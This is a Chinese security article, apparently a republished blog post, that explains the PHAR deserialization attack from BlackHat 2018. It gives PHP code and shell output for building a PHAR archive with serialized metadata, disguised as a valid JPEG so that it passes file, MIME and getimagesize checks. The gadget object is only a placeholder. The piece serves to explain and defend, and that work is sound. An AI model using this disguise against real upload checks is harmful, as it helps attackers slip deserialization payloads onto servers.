在美国举办的 BlackHat 2018 大会上, 已经有白帽黑客证明可以从 PHAR 包获得 RCE, 而且, 通过调整其二进制内容, 可以将其伪装成完整的有效图像, 绕过安全检查.
背景
在美国举办的 BlackHat 2018 期间, 来自英国网络安全公司 Secarma 的研究总监 Sam Thomas 召开了一个关于在 PHP 中利用 phar:// 流包装器 (stream wrapper) 在服务器上执行代码执行的会议.
一个 PHP 应用程序往往是由多个文件构成的, 如果能把他们集中为一个文件来分发和运行是很方便的, 这样的列子有很多, 比如在 Windows 操作系统上面的安装程序, 一个 jQuery 库等等, 为了做到这点 PHP 采用了 PHAR 文档文件格式, 这个概念源自 java 的 jar, 但是在设计时主要针对 PHP 的 web 环境, 与 JAR 归档不同的是 PHAR 归档可由 PHP 本身处理, 因此不需要使用额外的工具来创建或使用, 使用 PHP 脚本就能创建或提取它. PHAR 是一个合成词, 由 PHP 和 Archive 构成, 可以看出它是 PHP 归档文件的意思.
在执行 PHAR 包时, PHP 将反序列化其内容, 允许攻击者启动 PHP 对象包含链. 其中最有趣的部分是如何触发有效载荷, 因为归档上的任何文件操作都将执行它. 最后, 不需要猜测正确的文件名, 因为即使失败的文件调用也需要 PHP 来反序列化内容.
另外, 完全可以将 PHAR 包伪装成 100% 有效的图像.
在这篇文章中, 我将介绍伪装的详细过程.
降级至字节码级别
有时我们会忘记文件只是遵循预定义结构的一堆字节, 但应用程序将检查它们是否能够管理这样的数据流, 如果能, 它们将生成一个输出.
在演讲中, Thomas 给出了一个关于如何创建具有有效 JPEG 标头的 PHAR 包的提示.
按着提示, 我们要做的是创建一个具有 JPEG 标头的文件, 并相应的更新 PHAR 校验和. 通过这种方式, 文件将被视为一个图像, 但 PHP 还能够执行它.
如果你认为更改几个字节并更新校验和就可以轻松完成操作, 那你就想得太简单了.
计算校验和 (至少对我来说) 是件痛苦的事情, 然后我就想, 如果我让 PHP 为我做这些工作呢?
所以我改编了 Thomas 在演讲中提到的做法, 如下所示.
- $phar = new Phar("phar.phar");
- $phar->startBuffering();
- $phar->addFromString("test.txt","test");
- $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
- $o = new TestObject();
- $phar->setMetadata($o);
- $phar->stopBuffering();
如你所见, 我将原始 HEX 字节添加到 PHAR 归档的存根部分. 以下就是原 HEX 结果:
- tampe125@AlphaCentauri:~$ xxd phar.jpeg
- 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
- 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
- 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
- 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
- 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{
- }....
- 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
- 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
- 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{
- .5.
- 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
它是一个有效的 PHAR 和 JPEG 图像吗?
- tampe125@AlphaCentauri:~$ file phar.jpeg
- phar.jpeg: JPEG image data
- tampe125@AlphaCentauri:~$ PHP -a
- PHP > var_dump(mime_content_type('phar.jpeg'));
- PHP shell code:1:
- string(10) "image/jpeg"PHP > var_dump(file_exists('phar://phar.jpeg/test.txt'));
- PHP shell code:1:
- bool(true)
PHP 将其识别为图像, 但我仍然可以看到归档上的内容.
请查看存根部分并注意它是如何缺少开始的 PHP 标记的. 这是大多数内容扫描器都无法看到的关键内容. 要使归档有效, 惟一需要的是__HALT_COMPILER()函数, 我认为这被 PHP 用来表示它应该跳过多少数据.
我有一个文件, 它可以通过任何基于文件标头的检查, 然而任何比它更复杂的检查都会失败. 例如, 使用 getimagesize 检查图像将返回 false, 因为图像必定是伪造的.
- tampe125@AlphaCentauri:~$ PHP -a
- PHP > var_dump(getimagesize('phar.jpeg'));
- PHP shell code:1:
- bool(false)
解决图像是伪造的问题?
但我看到我可以在__HALT_COMPILER()标记之前插入我想要的任何乱码, 试想, 如果我用它来制作完整的图像, 会怎么样呢?
在花了太多时间来讨论 JPEG 规范和阅读 PHP 源代码后, 我认为我可以简单的使用 GIMP 创建 10*10 黑色图像并嵌入其中.
- $jpeg_header_size =
- "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13"."\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02"."\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15"."\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14"."\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01"."\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03"."\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11"."\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20"."\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda"."\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
- $phar = new Phar("phar.phar");
- $phar->startBuffering();
- $phar->addFromString("test.txt","test");
- $phar->setStub($jpeg_header_size."__HALT_COMPILER(); ?>");
- $o = new TestObject();
- $phar->setMetadata($o);
- $phar->stopBuffering();
现在, 检查以下我的思考成果.
- tampe125@AlphaCentauri:~$ file phar.jpeg
- phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ PHP -a
- PHP > var_dump(mime_content_type('phar.jpeg'));
- PHP shell code:1:string(10) "image/jpeg"PHP > var_dump(file_exists('phar://phar.jpeg/test.txt'));
- PHP shell code:1:bool(true)
- PHP > var_dump(getimagesize('phar.jpeg'));
- PHP shell code:1:
- array(7) {
- [0] => int(10)
- [1] => int(10)
- [2] => int(2)
- [3] => string(22) "width="10"height="10""'bits'=> int(8)'channels'=> int(3)'mime'=> string(10)"image/jpeg"}
果然, 我的努力成功了. 文件是一个 PHAR 包, 包含了我想要利用的类, 但它仍然是一个有效的映像(它甚至可以通过系统映像查看器打开).
总结
正如大家刚刚看到的那样, 文件只是一堆字节, 如果我所做的唯一检查是基于它们的元数据, 那必定会花太多时间来讨论 JPEG 规范和阅读 PHP 源代码. 最后, 我发现利用核心函数来返回我想要的结果非常容易: 唯一的解决方案就是真正读取文件内容并搜索恶意字符串.
来源: http://netsecurity.51cto.com/art/201810/585267.htm